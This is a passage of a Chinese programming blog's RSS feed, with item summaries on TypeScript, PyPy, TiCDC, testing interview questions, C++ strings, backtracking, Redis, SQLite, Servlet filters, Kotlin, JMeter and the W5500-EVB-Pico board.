      <description>最近刷了本ts小册，对一些知识点做下笔记。&#xA;extends extends 是一个关键字，用于对类型参数做一些约束。&#xA;A extends B 意味着 A 是 B 的子类型，比如下面是成立的&#xA;‘abc’ extends string599 extends number 看下面例子：&#xA;type MyType&amp;lt;T extends number&amp;gt; = { value: T; }; const example: MyType&amp;lt;number&amp;gt; = { value: 42 }; 联合类型子集均为联合类型的子类型，即 1、 1 | 2 是 1 | 2 | 3 | 4 的子类型&#xA;type MyType&amp;lt;T extends number | string&amp;gt; = { value: T; }; const example1: MyType&amp;lt;number&amp;gt; = { value: 42 }; const example2: MyType&amp;lt;string&amp;gt; = { value: &#39;hello&#39; }; 通过接口进行约束</description>
    </item>
    <item>
      <title>深入剖析PyPy，解锁Python比C还快的秘诀</title>
      <link>https://bchobby.github.io/posts/239cb0cb5e1d10bffd57be4357ff73af/</link>
      <pubDate>Mon, 25 Dec 2023 21:41:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/239cb0cb5e1d10bffd57be4357ff73af/</guid>
      <description>来源丨网络&#xA;「如果想让代码运行得更快，您应该使用 PyPy。」 - Python 之父 Guido van Rossum&#xA;对于研究人员来说，迅速把想法代码化并查看其是否行得通至关重要。Python 是能够实现这一目标的出色语言，它能够让人们专注于想法本身，而不必过度为代码格式等无聊的事情困扰。&#xA;但是，Python 有一个致命的缺点：速度比 C、C ++ 等语言慢很多。那么，构建一个 Python 原型测试想法之后，如何将其转变为快速且高性能的工具？通常来说，人们还要再进行一步工作：将 Python 代码手动转换为 C 语言的代码。但如果 Python 原型本身就可以运行得很快，那么转换代码的时间就可以做一些更有意义的事情。&#xA;而 PyPy，恰好可以解决这一问题。它能够让 Python 代码运行得比 C 还快。&#xA;import time from termcolor import colored start = time.time() number = 0 for i in range(100000000): number += i print(colored(&#34;FINISHED&#34;, &#34;green&#34;)) print(f&#34;Ellapsed time: {time.time() - start} s&#34;) 为了证明 PyPy 的速度，使用默认的 Python 解释器和 PyPy 运行上述代码，执行一个从整数 0 加到 100,000,000 的循环, 然后打印出运行时间。运行结果如下：</description>
    </item>
    <item>
      <title>024、数据库管理之数据同步工具TiCDC</title>
      <link>https://bchobby.github.io/posts/f92616c63a8901cfd523ecb5674ba86a/</link>
      <pubDate>Mon, 25 Dec 2023 21:34:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f92616c63a8901cfd523ecb5674ba86a/</guid>
      <description>TiCDC TiCDCTiCDC介绍架构与原理适用场景对已有TiDB进行扩容部署TiCDC管理工具TiCDC同步任务查询所有TiCDC同步任务查询TiCDC指定的同步任务管理TiCDC同步任务动态更新任务监控TiCDC 实验数据同步完整实操缩容当前TiCDC节点 TiCDC TiCDC介绍 TiCDC 是一款通过拉取 TiKV 变更日志实现的 TiDB 增量数据同步工具，具有将数据还原到与上游任意 TSO 一致状态的能力，同时提供开放数据协议 (TiCDC Open Protocol)，支持其他系统订阅数据变更。&#xA;架构与原理 每个Capture: 不是收集所有TiKV当中的日志，只是负责部分TiKV，然后会选择一个Caputre作为owner将所有的日志进行处理排序，然后供给下游系统订阅&#xA;适用场景 TiCDC适合上游数据库是TiDB,下游数据库支持Mysql兼容的任何数据库和kafka, 适合异步复制的场景。&#xA;有效索引的相关要求&#xA;TiCDC 只能同步至少存在一个有效索引的表，有效索引的定义如下：&#xA;主键 (PRIMARY KEY) 为有效索引。同时满足下列条件的唯一索引 (UNIQUE INDEX) 为有效索引： 索引中每一列在表结构中明确定义非空 (NOT NULL)。索引中不存在虚拟生成列 (VIRTUAL GENERATED COLUMNS)。&#xA;TiCDC 从 4.0.8 版本开始，可通过修改任务配置来同步没有有效索引的表，但在数据一致性的保证上有所减弱。具体使用方法和注意事项参考同步没有有效索引的表。 TiCDC 暂不支持的场景如下：&#xA;暂不支持单独使用 RawKV 的 TiKV 集群。暂不支持在 TiDB 中创建 SEQUENCE 的 DDL 操作和 SEQUENCE 函数。在上游 TiDB 使用 SEQUENCE 时，TiCDC 将会忽略掉上游执行的 SEQUENCE DDL 操作/函数，但是使用 SEQUENCE 函数的 DML 操作可以正确地同步。 对已有TiDB进行扩容部署 TiCDC环境部署</description>
    </item>
    <item>
      <title>软件测试面试八股文——基础篇</title>
      <link>https://bchobby.github.io/posts/311b00fdec9a1f828bb1e51039acaac3/</link>
      <pubDate>Mon, 25 Dec 2023 21:19:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311b00fdec9a1f828bb1e51039acaac3/</guid>
      <description>5）错误推测法：是基于经验和直觉推测程序中所有可能存在的各种错误，从而有针对性的设计测试用例的方法&#xA;6）正交实验法&#xA;7）判定表法&#xA;8）测试大纲法&#xA;3、提交缺陷的八大要素&#xA;1）缺陷编号：缺陷的唯一标识，在禅道之类的缺陷管理工具中一般会自动生成。&#xA;2）缺陷状态：缺陷跟踪过程的进展情况，缺陷工具都会有相应的流程和状态标识。&#xA;3）缺陷标题：揭示出该缺陷的本质。&#xA;4）缺陷类型：根据缺陷产生的来源和根源划分出的缺陷种类。代码错误、界面优化、设计缺陷、配置相关、程序非法退出、死循环、通讯中断或异常，数据破坏丢失或数据库异常&#xA;5）严重程度：缺陷对软件系统的影响程度。关键的、主要的、次要的、和无关紧要的。&#xA;6）优先级：修复缺陷的重要性或紧迫性。紧急、高、中和低。&#xA;7）重现步骤：要求开发人员按照步骤能重现bug。&#xA;8）测试环境：测试环境的配置，包括操作系统和浏览器。&#xA;4、软件开发的周期(软件开发阶段)?&#xA;1)需求分析阶段 产出物:《需求规格说明书》&#xA;2)设计阶段 产出物:《概要设计说明书》《 详细设计说明书》&#xA;3)编码阶段 产出物:程序&#xA;5、get和post请求的优缺点、区别&#xA;get和post是http请求的两种基本方法。HTTP是基于TCP/IP的关于数据如何在万维网中如何通信的协议。HTTP的底层是TCP/IP。所以GET和POST的底层也是TCP/IP，也就是说，GET/POST都是TCP链接。GET和POST能做的事情是一样的。&#xA;相同点：GET和POST本质上就是TCP链接，并无差别。但是由于HTTP的规定和浏览器/服务器的限制，导致他们在应用过程中体现出一些不同。&#xA;1.post请求包含更多的请求头因为post需要在请求的body部分包含数据，所以会多了几数据描述部分的首部字段（如：content-type）,这其实是微乎其微的。&#xA;2.最重要的一条，post在真正接收数据之前会先将请求头发送给服务器进行确认，然后才真正发送数据&#xA;post请求的过程：&#xA;（1）浏览器请求tcp连接（第一次握手）&#xA;（2）服务器答应进行tcp连接（第二次握手）&#xA;（3）浏览器确认，并发送post请求头（第三次握手，这个报文比较小，所以http会在此时进行第一次数据发送）&#xA;（4）服务器返回100 Continue响应&#xA;（5）浏览器发送数据&#xA;（6）服务器返回200 OK响应&#xA;get请求的过程：&#xA;（1）浏览器请求tcp连接（第一次握手）&#xA;（2）服务器答应进行tcp连接（第二次握手）&#xA;（3）浏览器确认，并发送get请求头和数据（第三次握手，这个报文比较小，所以http会在此时进行第一次数据发送）&#xA;（4）服务器返回200 OK响应&#xA;6、测试步骤流程&#xA;1）测试需求分析阶段：阅读需求，理解需求，主要就是对业务的学习，分析需求点，参与需求评审会议。&#xA;2）测试计划阶段：主要任务就是编写测试计划，参考软件需求规格说明书，项目总体计划，内容包括测试范围（来自需求文档），进度安排，人力物力的分配，整体测试策略的制定。风险评估与规避措施有一个制定。&#xA;3）测试设计阶段：主要是编写测试用例，会参考需求文档（原型图），概要设计，详细设计等文档，用例编写完成之后会进行评审。&#xA;4）测试执行阶段：搭建环境，执行冒烟测试（预测试）-然后进入正式测试，bug管理直到测试结束。&#xA;5）测试评估阶段：出测试报告，确认是否可以上线。&#xA;7、测试模型&#xA;V模型&#xA;V模型的价值在于它非常明确地标明了测试过程中存在的不同级别，并且清楚地描述了这些测试阶段和开发过程期间各阶段的对应关系。局限性：把测试作为编码之后的最后一个活动，需求分析等前期产生的错误直到后期的验收测试才能发现。&#xA;W模型&#xA;W模型是V模型的发展，强调的是测试伴随着整个软件开发周期，而且测试的对象不仅仅是程序，需求、功能和设计同样要测试。测试与开发是同步进行的，从而有利于尽早地发现问题。&#xA;W模型也有局限性。W模型和V模型都把软件的开发视为需求、设计、编码等一系列串行的活动，无法支持迭代、自发性以及变更调整。&#xA;X模型的左边描述的是针对单独程序片段所进行的相互分离的编码和测试，此后将进行频繁的交接，通过集成最终成为可执行的程序，然后再对这些可执行程序进行测试。&#xA;H模型揭示了一个原理:软件测试是一个独立的流程,贯穿产品整个生命周期,与其他流程并发地进行。H模型指出软件测试要尽早准备, 尽早执行。不同的测试活动可以是按照某个次序先后进行的,但也可能是反复的,只要某个测试达到准备就绪点,测试执行活动就可以开展。&#xA;总结：&#xA;V 模型——非常明确地标注了测试过程中存在的不同类型的测试。&#xA;W模型——非常明确地标注了生产周期中开发与测试之间的对应关系。&#xA;X 模型——这个模型指出整个测试过程是在探索中进行的。&#xA;H 模型——软件测试是一个独立的流程，贯穿产品整个生命周期，与其他流程并发地进行。&#xA;总结 如果你对此文有任何疑问，如果你也需要接口项目实战，如果你对软件测试、接口测试、自动化测试、面试经验交流感兴趣欢迎加入我们，加入方式在文章的最后面 自动化测试相关教程推荐： 2023最新自动化测试自学教程新手小白26天入门最详细教程,目前已有300多人通过学习这套教程入职大厂！！_哔哩哔哩_bilibili 2023最新合集Python自动化测试开发框架【全栈/实战/教程】合集精华，学完年薪40W+_哔哩哔哩_bilibili 测试开发相关教程推荐 2023全网最牛，字节测试开发大佬现场教学，从零开始教你成为年薪百万的测试开发工程师_哔哩哔哩_bilibili postman/jmeter/fiddler测试工具类教程推荐 讲的最详细JMeter接口测试/接口自动化测试项目实战合集教程，学jmeter接口测试一套教程就够了！！_哔哩哔哩_bilibili 2023自学fiddler抓包，请一定要看完【如何1天学会fiddler抓包】的全网最详细视频教程！！_哔哩哔哩_bilibili 2023全网封神，B站讲的最详细的Postman接口测试实战教学，小白都能学会_哔哩哔哩_bilibili 总结： 光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。 ​</description>
    </item>
    <item>
      <title>【C&#43;&#43;初阶】九、STL容器中的string类（上）</title>
      <link>https://bchobby.github.io/posts/7291b582a17d83f48c7992426c89519e/</link>
      <pubDate>Mon, 25 Dec 2023 21:19:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7291b582a17d83f48c7992426c89519e/</guid>
      <description>=========================================================================&#xA;相关代码gitee自取：&#xA;C语言学习日记: 加油努力 (gitee.com)&#xA;=========================================================================&#xA;接上期：&#xA;【C++初阶】八、初识模板（泛型编程、函数模板、类模板）-CSDN博客&#xA;=========================================================================&#xA;目录 一 . STL简介&#xA;什么是STL&#xA;STL的版本&#xA;HP 原始版本：&#xA;P.J. 版本：&#xA;RW 版本：&#xA;SGI 版本：&#xA;STL的六大组件&#xA;图示：&#xA;二 . string类&#xA;C语言中的字符串&#xA;C++标准库中的string类&#xA;string类（了解）&#xA;总结：&#xA;string类的常用接口说明（重点）&#xA;string类对象的常见构造函数：&#xA;图示 -- 第1个构造函数：&#xA;图示 -- 第2、3个构造函数：&#xA;图示 -- 第4、5个构造函数：&#xA;图示 -- 第6、7个构造函数：&#xA;补充 -- operator= ：（赋值“=”运算符重载函数）&#xA;string类对象的容量操作：&#xA;使用注意事项：&#xA;string类对象的访问即遍历操作：&#xA;operator[] ：（下标运算符&#34;[ ]&#34;重载函数）&#xA;begin + end ：（通过迭代器进行遍历）&#xA;rbegin + rend ：（通过迭代器进行反向遍历）&#xA;范围for循环 -- 完成字符串遍历：&#xA;本篇博客相关代码：&#xA;Test.cpp文件 -- C++文件：</description>
    </item>
    <item>
      <title>2023-12-22 回溯算法</title>
      <link>https://bchobby.github.io/posts/d38b3db8f9b7fd63839d516a2865c1e3/</link>
      <pubDate>Mon, 25 Dec 2023 20:58:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d38b3db8f9b7fd63839d516a2865c1e3/</guid>
      <description>回溯思想 回溯模版三部曲： ① 回溯函数模版返回值以及参数&#xA;② 回溯终止条件&#xA;③ 回溯搜索的遍历过程&#xA;分析完过程，回溯算法模板框架如下：&#xA;void backtracking(参数) { if (终止条件) { 存放结果; return; } for (选择：本层集合中元素（树中节点孩子的数量就是集合的大小）) { 处理节点; backtracking(路径，选择列表); // 递归 回溯，撤销处理结果 } } 这份模板很重要，后面做回溯法的题目都靠它了！&#xA;77. 组合 思想：对于这种回溯的问题，其实可以看成一棵树，就是穷举每一种可能的！在此的基础之上然后进行剪枝！ 剪枝：可以剪枝的地方就在递归中每一层的for循环所选择的起始位置。 如果for循环选择的起始位置之后的元素个数 已经不足 我们需要的元素个数了，那么就没有必要搜索了。 class Solution: def combine(self, n: int, k: int) -&amp;gt; List[List[int]]: result = [] self.backtracking(n, k, 1, [], result) return result # 回溯的参数以及返回 n k p [] result def backtracking(self, n, k, startIndex, path, result): # 回溯终止条件 if len(path) == k: result.</description>
    </item>
    <item>
      <title>SQL实践篇（三）：什么是Redis</title>
      <link>https://bchobby.github.io/posts/ed4f0dc4611567a1c88ec37b892034e2/</link>
      <pubDate>Mon, 25 Dec 2023 20:47:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed4f0dc4611567a1c88ec37b892034e2/</guid>
      <description>文章目录 简介Redis是什么，为什么这么快？Redis的数据类型字符串Hash字符串列表字符串集合有序字符串集合其他数据类型 总结参考文献 简介 Redis是一种基于内存的键值数据库，键值数据库会使用哈希表存储key和value。其中key和value可以是任何内容，无论是简单对象还是复杂对象。&#xA;键值数据库是NoSQL思想，其规则是&#34;只提供你想要的&#34;，因此模型很灵活，查询效率也高，成本也低。&#xA;而RDBMS是建立在关系模型的基础上，强调的是数据的一致性和各种约束条件，成本很高。&#xA;本节我们将从以下几个方面，简单了解下Redis：&#xA;Redis是什么，为什么它这么快？Redis支持的数据类型都有哪些？ Redis是什么，为什么这么快？ Redis，全称是REmote Dictionary Server。&#xA;Redis的查询效率非常高，根据官方的数据，Redis每秒最多处理的请求可以达到10w次。&#xA;为什么这么快呢？&#xA;Redis是采用ANSI C语言编写的，跟SQLite一样。这样的好处是底层代码执行效率更高，相比面向对象的语言，依赖性也更低。系统兼容性好，稳定性高。&#xA;另外，Redis是基于内存的数据库，没有磁盘IO的限制，自然快的飞起。&#xA;其次，数据结构简单，采用key-value的方式进行存储，也就是使用Hash结构进行操作，数据的操作复杂度为O(1)。&#xA;但是Redis快的原因远不止这些，还有很多各种各样的原因，比如说它采用单进程单线程的模型，避免了上下文切换和不必要的线程资源争抢问题。&#xA;在技术上，Redis还采用了多路IO复用技术。这里的多路指的是多个socket网络连接，复用指的是复用同一个线程。这样的好处是可以在同一个线程中处理多个IO请求，尽量减少网络IO的损耗。&#xA;可以看到，Redis可以说是把效率做到了极致，各方各面可能存在的时间消耗都被优化过。&#xA;2023-11-10 00:47:47 不过，在2020年新推出的Redis6.0版本里，还是引进了多线程模型，来提高Redis的性能和并发能力。不过Redis默认情况下不会开启多线程模式，官方建议是除非达到了性能瓶颈，否则没必要开启多线程。&#xA;Redis的数据类型 Memcached也是一个键值型数据库，但与它相比，Redis还有一个非常大的优势，就是支持多种数据类型。&#xA;Redis支持的数据类型包括字符串、哈希、列表、集合、有序集合等。&#xA;字符串 字符串类型是Redis提供的最基本的数据类型。对应的结构是key-value&#xA;如果我们想要设置某个键的值，可以使用set key value，如果想要获取某个值，那就用get key。如图：&#xA;Hash 哈希（hash）进一步提供了字段和字段值的映射，对应的结构是key-field-value。&#xA;设置某个键的哈希值：hset key field value。&#xA;比如说要给user1设置username为zhangfei，设置age为28，可以写成：&#xA;hset user1 username zhangfei hset user1 age 28 或者可以连写成：&#xA;Hmset user1 username zhangfei age 28 取出某个键的某个field字段：hget key field&#xA;比如说hget user1 username。&#xA;一次性取出某个键的多个field字段： hmget key field_1 field_2...。&#xA;比如说hmget user1 usename age。</description>
    </item>
    <item>
      <title>SQL实践篇（二）：为什么微信用SQLite存储聊天记录？</title>
      <link>https://bchobby.github.io/posts/74760212ec0d421dc90e512048046f53/</link>
      <pubDate>Mon, 25 Dec 2023 20:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74760212ec0d421dc90e512048046f53/</guid>
      <description>文章目录 简介什么是SQLite在python中使用SQLite通过SQLite查询微信的聊天记录参考文献 简介 SQLite是一个嵌入式的开源数据库引擎，大小只有3M左右，因此我们可以将整个SQLite嵌入到应用中，而不再需要采用传统的客户端/服务器（CS）架构。这样的好处在于非常轻便，很多智能设备和应用中都可以使用SQLite，比如说微信和QQ就采用了SQLite作为本地聊天记录的存储。&#xA;本节将从以下几个方面，深入了解一下SQLite：&#xA;什么是SQLite？它有哪些优点和不足？如何在Python中使用SQLite？如何编写SQL，来通过SQLite查找微信的聊天记录？ 什么是SQLite SQLite是2000年左右发布的，其采用C语言编写，而不是C++，从而一定程度上尽量提升底层代码的执行效率&#xA;它的优势在于非常轻量级，存储数据非常高效，查询和操作也很方便。而且它不需要安装和配置，很方便迁移，也方便嵌入到很多应用程序中。相比需要托管在服务器上的RDBMS，SQLite的约束更加少，更容易操作。&#xA;不足也很明显，它不适用高并发的情况，一般常用于小型或者中型的数据存储。比如说在微信本地可以使用SQLite，即时是几百M的数据文件，对SQLite来讲也是信手拈来，但是微信本身的服务器就不能用SQLite了，缺点太明显了，比如说影响最大的一点：SQLite同一时间只允许一个写操作，吞吐量非常有限。&#xA;而且，作为一个简化版的数据库，SQLite没有用户管理功能，在语法上也跟常规的SQL有所不同，充斥了一部分的&#34;方言&#34;。&#xA;比如说SQLite 不支持right join，仅支持只读视图（只能创建、读取和删除，不能修改）&#xA;但总体来讲，基本还是支持SQL标准的。&#xA;在python中使用SQLite python中集成了SQLite3，直接加载相应的包就可以使用。&#xA;import sqlite3 创建数据库连接：&#xA;conn = sqlite3.connect(&#34;wucai.db&#34;) 如果没有这个文件，那么这一步会在相应的工程路径里创建指定的文件，用来存放数据。否则会直接连接现有文件。&#xA;然后我们可以使用conn来操作连接，创建游标：&#xA;cur = conn.cursor() 得到游标之后，我们就可以通过游标来调用execute()执行各种各样的SQL语句。&#xA;比如说创建一个heros数据表：&#xA;cur.execute(&#34;CREATE TABLE IF NOT EXISTS heros (id int primary key, name text, hp_max real, mp_max real, role_main text)&#34;) 再插入一条数据：&#xA;cur.execute(&#39;insert into heros values(?, ?, ?, ?, ?)&#39;, (10000, &#39;夏侯惇&#39;, 7350, 1746, &#39;坦克&#39;)) 或者使用executemany()来批量插入数据：&#xA;cur.executemany(&#39;insert into heros values(?, ?, ?, ?</description>
    </item>
    <item>
      <title>Servlet技术之Filter</title>
      <link>https://bchobby.github.io/posts/cb2bed491847258cf9956b3aa4f52ca8/</link>
      <pubDate>Mon, 25 Dec 2023 20:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb2bed491847258cf9956b3aa4f52ca8/</guid>
      <description>系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加&#xA;例如：第一章 Python 机器学习入门之pandas的使用&#xA;提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 系列文章目录前言一、什么是Filter过滤器？二、FIlter过滤器的使用三、FilterChain（过滤器链）四、基于注解式开发Filter五、Filter的生命周期总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;Filter 过滤器则是 Servlet 技术的一个重要组成部分。它可以拦截请求和响应，在它们到达 Servlet 之前或之后进行预处理和后处理。Filter 过滤器的作用包括权限验证、日志记录、数据加密、缓存处理等。通过使用 Filter，我们可以增强博客系统的安全性、性能和可扩展性。&#xA;通过阅读本博客，读者将不仅了解 Servlet 技术和 Filter 过滤器的基本原理，还将掌握如何将它们应用于实际的博客开发中。无论是博客新手还是有经验的开发者，都可以从中受益，并提升自己的技能水平。&#xA;让我们一起探索 Servlet 技术的 Filter 过滤器的世界，为构建更优秀的博客系统而努力吧！&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、什么是Filter过滤器？ Filter（过滤器）是一种 Java 服务器端技术，用于拦截和处理 HTTP 请求和响应。它是 Java Servlet 规范的一部分，允许开发者在请求到达 Servlet 之前或响应离开 Servlet 之后对其进行预处理和后处理。&#xA;Filter 过滤器就像是网站或者应用程序的门卫。它会检查每一个进出的请求和响应，决定是否允许它们通过。想象一下，你有一个房子，你想让只有你认识的人才能进来。那么你可以在门口设置一个 Filter，当有人来敲门时，Filter 会先检查这个人是否是你认识的，如果是，就放他进来；如果不是，就把他拦住。&#xA;在网站或者应用程序中，Filter 也会做类似的事情。它会检查每一个请求和响应，看看它们是否符合某些条件。如果符合，就允许它们通过；如果不符合，就进行一些处理，比如拒绝请求、修改响应等。&#xA;二、FIlter过滤器的使用 创建一个Class实现Filter接口，并实现接口中三个抽象方法。&#xA;init()方法：初始化方法，在创建Filter后立即调用。可用于完成初始化动作。doFilter()方法：拦截请求与响应方法，可用于对请求和响应实现预处理。destroy()方法：销毁方法，在销毁Filter之前自动调用。可用于完成资源释放等动作。 下面是一个简单的示例，展示了如何创建一个 Filter 并在项目中使用它：&#xA;1.创建一个名为CustomFilter的类，实现Filter接口：&#xA;import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import java.io.IOException; public class CustomFilter implements Filter { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException { // 在这里编写过滤逻辑 System.</description>
    </item>
    <item>
      <title>Android---Kotlin 学习009</title>
      <link>https://bchobby.github.io/posts/a69824b319e2b921b7a175ff9af1b3e0/</link>
      <pubDate>Mon, 25 Dec 2023 19:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a69824b319e2b921b7a175ff9af1b3e0/</guid>
      <description>继承 在 java 里如果一个类没有被 final 关键字修饰，那么它都是可以被继承的。而在 kotlin 中，类默认都是封闭的，要让某个类开放继承，必须使用 open 关键字修饰它，否则会编译报错。此外在子类中，如果要复写父类的某个方法，需要用到关键字 Override（在 kt 中就不是注解了）。并且被复写的方法也需要用 open 关键字来修饰。&#xA;open class Product(var name : String){ fun description() = &#34;Product: $name&#34; open fun load() = &#34;Nothing...&#34; } class LuxuryProduct : Product(&#34;Luxury&#34;){ override fun load(): String = &#34;LuxuryProduct loading....&#34; } fun main() { val luxuryProduct : Product = LuxuryProduct() println(luxuryProduct.load()) } 类型转换&#xA;kotlin 的 is 运算符是个不错的工具，可以用来检查某个对象的类型。&#xA;val p : Product = LuxuryProduct() println(p.load()) // is 类型检测 println(p is Product) println(p is LuxuryProduct) println(p is File) 类型转换，用到关键字 as 智能类型转换</description>
    </item>
    <item>
      <title>性能测试工具Jmeter你所不知道的东西····</title>
      <link>https://bchobby.github.io/posts/0faf8c76fab378e98fed06be5b0568d4/</link>
      <pubDate>Mon, 25 Dec 2023 19:08:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0faf8c76fab378e98fed06be5b0568d4/</guid>
      <description>谈到性能测试，大家一定会联想到Jmeter和LoadRunner,这两款工具目前在国内使用的相当广泛，主要原因是Jmeter是开源免费，LoadRunner 11在现网中存在破解版本。商用型性能测试工具对于中小型企业很难承担相关的费用。国内的性能测试工具有：CPTS(华为）、kylinTOP（奇林）、PTS（阿里）等，国外的性能测试工具LoadRunner相对比较出名。Loadrunner在国内出名的原因主要还是因为LoadRunner 进入中国的市场比较早，而且网上还存在破解版本。现在我们主要研究一下Jmeter工具。网络上经常看到网友们抱怨Jmeter工具测试的结果不准，而为什么不准都是丈二的和尚摸不着头脑。那么今天我就和网友们分享一下Jmeter工具在使用上到底有什么限制，以期对网友们有帮助，提高对Jmeter工具的认知。&#xA;Apache软件基金会（ASF）是一家总部位于美国的非营利性慈善组织。ASF的所有产品都通过公共论坛的在线协作开发，并从美国境内的中央服务器分发。Jmeter是ASF的一款开源免费软件 ，在国内被很多中小公司当作性能测试工具广泛使用。该款工具的本意不是用于性能测试，而是用于开发人员的接口功能调试使用。&#xA;Jmeter做性能或压力测试，首先要建立一个线程组，如果需要事务在线程组内再添加事务，然后根据需要可以设置并发的虚拟用户数。Jmeter构造并发虚拟用户的技术路线是通过构造线程，每个线程同时运行相同的线程组。为了弄清楚jmeter统计结果不准确，首先我们要搞清楚Jmeter对线程组中的HTTP请求运行的机制。&#xA;1、 测试思路&#xA;步骤1：使用Jmeter录制一个web页面&#xA;步骤2:建立测试计划，各自运行脚本一次，运行的过程通过（wireShark抓包）&#xA;步骤3：通过对wireShark网络抓包结果分析HTTP请求的顺序。&#xA;步骤4：wireShark抓包获得的HTTP请求顺序与浏览单独访问URL时的幕布对比。&#xA;2、选择被测试对象&#xA;基于以上思路我们从网络上选取一个web URL(HTTP://cloud.10oa.com/trial/view/catalogue.aspx)作为被测试对象&#xA;3、脚本录制同时F12打开Chorme的network选项&#xA;通过Jmeter 5.1工具自带的代理录制功能，录制上述URL，在录制的过程中按F12键，切换到network选项。&#xA;注意：Jmeter录制时必须按F12,把chrome的network打开才录制到完整的HTTP请求，否则可能只能录制到第1条请求。&#xA;Jmeter脚本录制时的页面HTTP瀑布图&#xA;4、执行性能测试计划 单击Jmeter的测试计划启动按钮，单用户启动执行一次脚本&#xA;注：此图通过wireShark的网络抓包获得HTTP请求的开始与结束时间，再通过excel画出瀑布图&#xA;5、测试结果分析&#xA;从Jmeter的测试计划执行结果的wireShark抓包分析的瀑布图看，Jmeter对HTTP请求是按串行下发请求（前一个请求返回结束，下一请求才开始下发请求），并发数为1个HTTP,从开始执行到最后执行结束，用时超过3秒钟，真实浏览器单独访问URL时长在1秒左右。&#xA;Jmeter可用于开发人员在产品开发中的功能调试使用并做一些非定量的性能测试，不适用于测试人员做定量的性能测试，更不能以此测试结果输出测试结论误导他人。&#xA;如果web服务器对外提供的服务是纯HTTP接口功能(非web页面），且用户的访问是线性的（串行该问），则可以考虑使用Jmeter测试。即使web服务器对外提供的服务是纯HTTP接口功能(非web页面）,如果用户访问是非线性，那么测试的结果也是不可靠的。记住一点，只有线性的接口请求模型才适用于Jmeter。&#xA;总结： 感谢每一个认真阅读我文章的人！！！&#xA;作为一位过来人也是希望大家少走一些弯路，如果你不想再体验一次学习时找不到资料，没人解答问题，坚持几天便放弃的感受的话，在这里我给大家分享一些自动化测试的学习资源，希望能给你前进的路上带来帮助。&#xA;软件测试面试文档 我们学习必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有字节大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。</description>
    </item>
    <item>
      <title>W5500-EVB-Pico评估版介绍</title>
      <link>https://bchobby.github.io/posts/eba51662f8115551750aa0f8f2953ec8/</link>
      <pubDate>Mon, 25 Dec 2023 19:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eba51662f8115551750aa0f8f2953ec8/</guid>
      <description>文章目录 1 概述2 板载资源2.1 硬件规格2.2 硬件规格2.3 工作条件 3 参考资料3.2 原理图3.3 尺寸图 (单位 : mm)3.4 参考例程 4 硬件协议栈优势 1 概述 W5500-EVB-Pico是基于树莓派RP2040和完全硬连线TCP/IP控制器W5500的微控制器开发板-基本上与树莓派Pico板相同，但通过W5500芯片增加了以太网功能。&#xA;2 板载资源 2.1 硬件规格 RP2040规格参数 双核Arm Cortex-M0 + @133MHz264KB 高速SRAM和2MB板载内存通过专用QSPI总线最高支持16MB的片外闪存DMA控制器30个GPIO引脚，其中4个可用作模拟输入（12位精度）2路UART、2个SPI控制器和2个I2C控制器、16路PWM通道、1个定时器、1个RTC8个可编程I/O(PIO)状态机 W5500是一款高性价比的以太网芯片，其全球独一无二的全硬件TCPIP协议栈专利技术，解决了嵌入式以太网的接入问题，简单易用，安全稳定，是物联网设备的首选解决方案。&#xA;W5500芯片规格参数 全硬件TCPIP协议栈 支持TCP,UDP,ICMP,IPv4,ARP,IGMP,PPPoE协议硬件协议栈不受网络攻击，安全稳定 8个独立的硬件Socket，各路通信互不影响32KB片上缓存供TCP/IP包处理集成802.3以太网MAC集成10BaseT / 100Base-T以太网PHY主机接口:SPI高速串行外设接口（最高80Mhz ）低功耗，工作温度40℃左右支持嵌入式操作系统：Linux &amp;amp; RTOS支持掉电模式 &amp;amp; UDP网络唤醒工作电压3.3V，I/O 5V耐压支持自动协商（全/半双工，10M/100M) Micro-USB B接口，用于供电和下载程序3针ARM串行线调试(SWD)端口内置RJ45接口内置LDO 2.2 硬件规格 如上图所示，W5500-EVB-Pico引脚直接连接到RP2040的GPIO。它具有与树莓派Pico板相同的引脚。但是，GPIO16、GPIO17、GPIO18、GPIO19、GPIO20、GPIO21连接在板内的W5500上。这些引脚使SPI通信与W5500使用以太网功能。如果您正在使用以太网功能，这些引脚不能用于任何其他目的。&#xA;W5500-EVB-Pico内部使用的RP2040 GPIO如下表所示:&#xA;I/O引脚名描述IGPIO16连接W5500的MISO接口OGPIO17连接W5500的CS接口OGPIO18连接W5500的SCLK接口OGPIO19连接W5500的MOSI接口OGPIO20连接W5500的RSTn接口IGPIO21连接W5500的INTn接口IGPIO24VBUS检测接口OGPIO25用户LED口IGPIO29用于ADC模式检测VSYS/3 除了GPIO和接地引脚外，还有7个其他引脚接口：&#xA;引脚号引脚名描述PIN40VBUSMicro-USB输入电压，连接到Micro-USB接口引脚1。理论上支持5V。PIN39VSYS主系统输入电压，可在4.3V到5.5V的允许范围内变化，由板载LDO产生3.3V。PIN373VE_EN连接到板载LDO使能引脚。要禁用3.3V(也使RP2040和W5500断电)，将此引脚短至低。PIN363V3主3.3V电源给RP2040和W5500，由板载LDO产生。PIN35ADC_VREFADC电源(和参考)电压，并在W5500-EVB-Pico上通过滤波3.3V电源产生。PIN33AGNDGPIO26-29接地参考。PIN30RUNRP2040使能引脚，复位RP2040，将该引脚短至低。 2.3 工作条件 